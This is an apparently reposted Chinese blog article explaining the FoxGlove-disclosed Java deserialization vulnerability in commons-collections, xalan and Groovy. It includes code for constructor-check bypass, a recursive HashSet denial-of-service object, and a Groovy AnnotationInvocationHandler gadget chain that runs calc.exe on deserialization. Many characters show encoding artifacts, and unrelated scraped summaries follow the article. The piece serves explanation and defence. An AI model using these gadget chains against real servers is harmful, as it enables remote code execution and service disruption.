摘要:現(xiàn)實(shí)中可以通過(guò)調(diào)試模式,修改字節(jié)碼或者等多種方式修改該值反序列化不調(diào)用構(gòu)造函數(shù),的非零檢查不會(huì)觸發(fā)由于是,會(huì)導(dǎo)致算數(shù)異常,線程結(jié)束攻擊者可以創(chuàng)建循環(huán)對(duì)象鏈,然后序列化。
Java 反序列化攻擊漏洞由 FoxGlove 的最近的一篇博文爆出,該漏洞可以被黑客利用向服務(wù)器上傳惡意腳本,或者遠(yuǎn)程執(zhí)行命令。
由于目前發(fā)現(xiàn)該漏洞存在于 Apache commons-collections, Apache xalan 和 Groovy 包中,也就意味著使用了這些包的服務(wù)器(目前發(fā)現(xiàn)有WebSphere, WebLogic,JBoss),第三方框架(Spring,Groovy),第三方應(yīng)用(Jenkins),以及依賴(lài)于這些服務(wù)器,框架或者直接/間接引用這些包的應(yīng)用都會(huì)受到威脅,這樣的應(yīng)用的數(shù)量會(huì)以百萬(wàn)計(jì)。
說(shuō)到漏洞存在的原因,根本還在于 Java 序列化自身的缺陷,眾所周知,序列化的目的是使 Java 對(duì)象轉(zhuǎn)化成字節(jié)流,方便存儲(chǔ)或者網(wǎng)絡(luò)上傳輸。Java 對(duì)象分解成字節(jié)碼過(guò)程叫做序列化,從字節(jié)碼組裝成 Java 對(duì)象的過(guò)程叫做反序列化,這兩個(gè)過(guò)程分別對(duì)應(yīng)于的 writeObject 和 readObject 方法。問(wèn)題在于 readObject 在利用字節(jié)流組裝 Java 對(duì)象時(shí)不會(huì)調(diào)用構(gòu)造函數(shù), 也就意味著沒(méi)有任何類(lèi)型的檢查,用戶(hù)可以復(fù)寫(xiě) readObject() 方法執(zhí)行任何希望執(zhí)行的代碼。
1. 序列化對(duì)象修改了對(duì)象或者父類(lèi)的某個(gè)未加保護(hù)的關(guān)鍵屬性,導(dǎo)致未預(yù)料的結(jié)果。
例如:
class Client { private int value; public Client(int v) { if (v <= 0) { throw new RuntimeException("not positive number"); } value = v; } public void writeObject(ObjectOutputStream oos) throws IOException { int value = 0; //這里該值被改為0。(現(xiàn)實(shí)中可以通過(guò)調(diào)試模式,修改serialize字節(jié)碼或者class instrument等多種方式修改該值) oos.defaultWriteObject(); } } class Controller { private ArrayBlockingQueuequeue; public void receiveState(ObjectInputStream o) throws IOException, ClassNotFoundException { Client s = (Client)o.readObject(); //反序列化不調(diào)用構(gòu)造函數(shù),value的非零檢查不會(huì)觸發(fā) queue.add(s); } public Client getClient() throws InterruptedException { return (Client)queue.take(); } } class Server extends Thread { private Controller controller = new Controller(); private int result = 100; public void run() { while (true) { try { result = result / controller.getClient().getValue(); // 由于value是0,會(huì)導(dǎo)致算數(shù)異常,線程結(jié)束 Thread.sleep(100); } catch (InterruptedException e) {} } } }
2. 攻擊者可以創(chuàng)建循環(huán)對(duì)象鏈,然后序列化。會(huì)導(dǎo)致反序列化無(wú)法結(jié)束, 空耗系統(tǒng)資源。例如:
Set root = new HashSet(); Set s1 = root; Set s2 = new HashSet(); for (int i = 0; i < 10; i++) { Set t1 = new HashSet(); Set t2 = new HashSet(); t1.add("foo"); //使t2不等于t1 s1.add(t1); s1.add(t2); s2.add(t1); s2.add(t2); s1 = t1; s2 = t2; }
3. 用戶(hù)在收到序列化對(duì)象流時(shí)可以選擇存儲(chǔ)在本地,以后再處理。由于沒(méi)有任何校驗(yàn)機(jī)制,使得上傳惡意程序成為可能。
class Controller { public void receiveState(ObjectInputStream ois) { FileOutputStream fos = new FileOutputStream(new File("xxx.ser")); fos.write(ois); //實(shí)際并不知道存的是什么,可能是惡意腳本。 fos.close(); } }
那么這次由 FoxGlove 暴露出來(lái)的 Serialization Attack 具體是怎樣呢?下面是 Groovy 的一個(gè)例子:
public class GroovyTest { public static void main(String[] args) throws Exception { final ConvertedClosure closure = new ConvertedClosure(new MethodClosure("calc.exe", "execute"), "entrySet"); Class>[] clsArr = {Map.class}; final Map map = Map.class.cast(Proxy.newProxyInstance(GroovyTest.class.getClassLoader(), clsArr, closure)); final Constructor> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0]; ctor.setAccessible(true); final InvocationHandler handler = (InvocationHandler)ctor.newInstance(Override.class, map); ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(handler); byte[] bytes = bos.toByteArray(); //對(duì)象被序列化 ByteArrayInputStream bis = new ByteArrayInputStream(bytes); ObjectInputStream ois = new ObjectInputStream(bis); ois.readObject(); //反序列化時(shí)calc.exe被執(zhí)行 } }
在這個(gè)例子中,ConvertedClosure 會(huì)把一個(gè) Closure 對(duì)象映射成 Java 的 entrySet 方法,而在AnnotationInvocationHandler 的 readObject 方法中,會(huì)嘗試調(diào)用 entrySet() 方法,這會(huì)觸發(fā) calc.exe 的調(diào)用。
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); AnnotationType var2 = null; try { var2 = AnnotationType.getInstance(this.type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException("Non-annotation type in annotation serial stream"); } Map var3 = var2.memberTypes(); Iterator var4 = this.memberValues.entrySet().iterator(); while(var4.hasNext()) { Entry var5 = (Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if(var7 != null) { Object var8 = var5.getValue(); if(!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6))); } } } }
針對(duì)這個(gè)問(wèn)題,F(xiàn)oxGlove Security 提到開(kāi)發(fā)者不應(yīng)該反序列化任何不信任的數(shù)據(jù),而實(shí)際情況卻是開(kāi)發(fā)者對(duì)該問(wèn)題的危害沒(méi)有足夠的認(rèn)知,他提到一種激進(jìn)的做法那就是如果你足夠勇敢可以嘗試掃描并刪除存在反序列化漏洞的類(lèi),但是實(shí)際情況是第一沒(méi)有人敢于冒這種風(fēng)險(xiǎn),第二,當(dāng)應(yīng)用對(duì)象的依賴(lài)關(guān)系會(huì)很復(fù)雜,反序列化過(guò)程會(huì)導(dǎo)致很多關(guān)聯(lián)對(duì)象被創(chuàng)建,所以?huà)呙璨荒鼙WC所有的問(wèn)題類(lèi)被發(fā)現(xiàn)。
然而幸運(yùn)的是,這個(gè)問(wèn)題引起了一些安全公司的重視,在他們推出的 RASP(Runtime Application Security Protection)產(chǎn)品中會(huì)在應(yīng)用運(yùn)行期對(duì)該漏洞進(jìn)行防護(hù)。
本文轉(zhuǎn)自 OneAPM 官方博客
文章版權(quán)歸作者所有,未經(jīng)允許請(qǐng)勿轉(zhuǎn)載,若此文章存在違規(guī)行為,您可以聯(lián)系管理員刪除。
轉(zhuǎn)載請(qǐng)注明本文地址:http://specialneedsforspecialkids.com/yun/65350.html
摘要:摘要今年的先知白帽大會(huì),與會(huì)者將能夠親身感受到非常多有趣的技術(shù)議題,如在國(guó)際賽事中屢?jiàn)Z佳績(jī)的團(tuán)隊(duì),其隊(duì)長(zhǎng)將親臨現(xiàn)場(chǎng),分享穿針引線般的漏洞利用藝術(shù)。從數(shù)據(jù)視角探索安全威脅阿里云安全工程師議題解讀本議題討論了數(shù)據(jù)為安全人員思維方式帶來(lái)的變化。 摘要: 今年的先知白帽大會(huì),與會(huì)者將能夠親身感受到非常多有趣的技術(shù)議題,如HITCON在國(guó)際賽事中屢?jiàn)Z佳績(jī)的CTF團(tuán)隊(duì),其隊(duì)長(zhǎng)Orange將親臨現(xiàn)場(chǎng)...
摘要:反射攻擊首先我們來(lái)看一下反射調(diào)用,以雙重檢驗(yàn)方式為例反射攻擊輸出結(jié)果是反射攻擊結(jié)果私有構(gòu)造方法被調(diào)用次私有構(gòu)造方法被調(diào)用次從結(jié)果可以看到,私有的構(gòu)造函數(shù)被調(diào)用了兩次,也就是說(shuō)這樣的單例模式并不安全。 showImg(https://segmentfault.com/img/bV1fer?w=900&h=500); 保證一個(gè)類(lèi)僅有一個(gè)實(shí)例,并提供一個(gè)訪問(wèn)它的全局訪問(wèn)點(diǎn)。——艾迪生維斯理 ...
閱讀 2655·2021-11-23 09:51
閱讀 1644·2021-11-22 13:54
閱讀 2782·2021-11-18 10:02
閱讀 936·2021-08-16 10:57
閱讀 3554·2021-08-03 14:03
閱讀 1873·2019-08-30 15:54
閱讀 3527·2019-08-23 14:39
閱讀 598·2019-08-23 14:26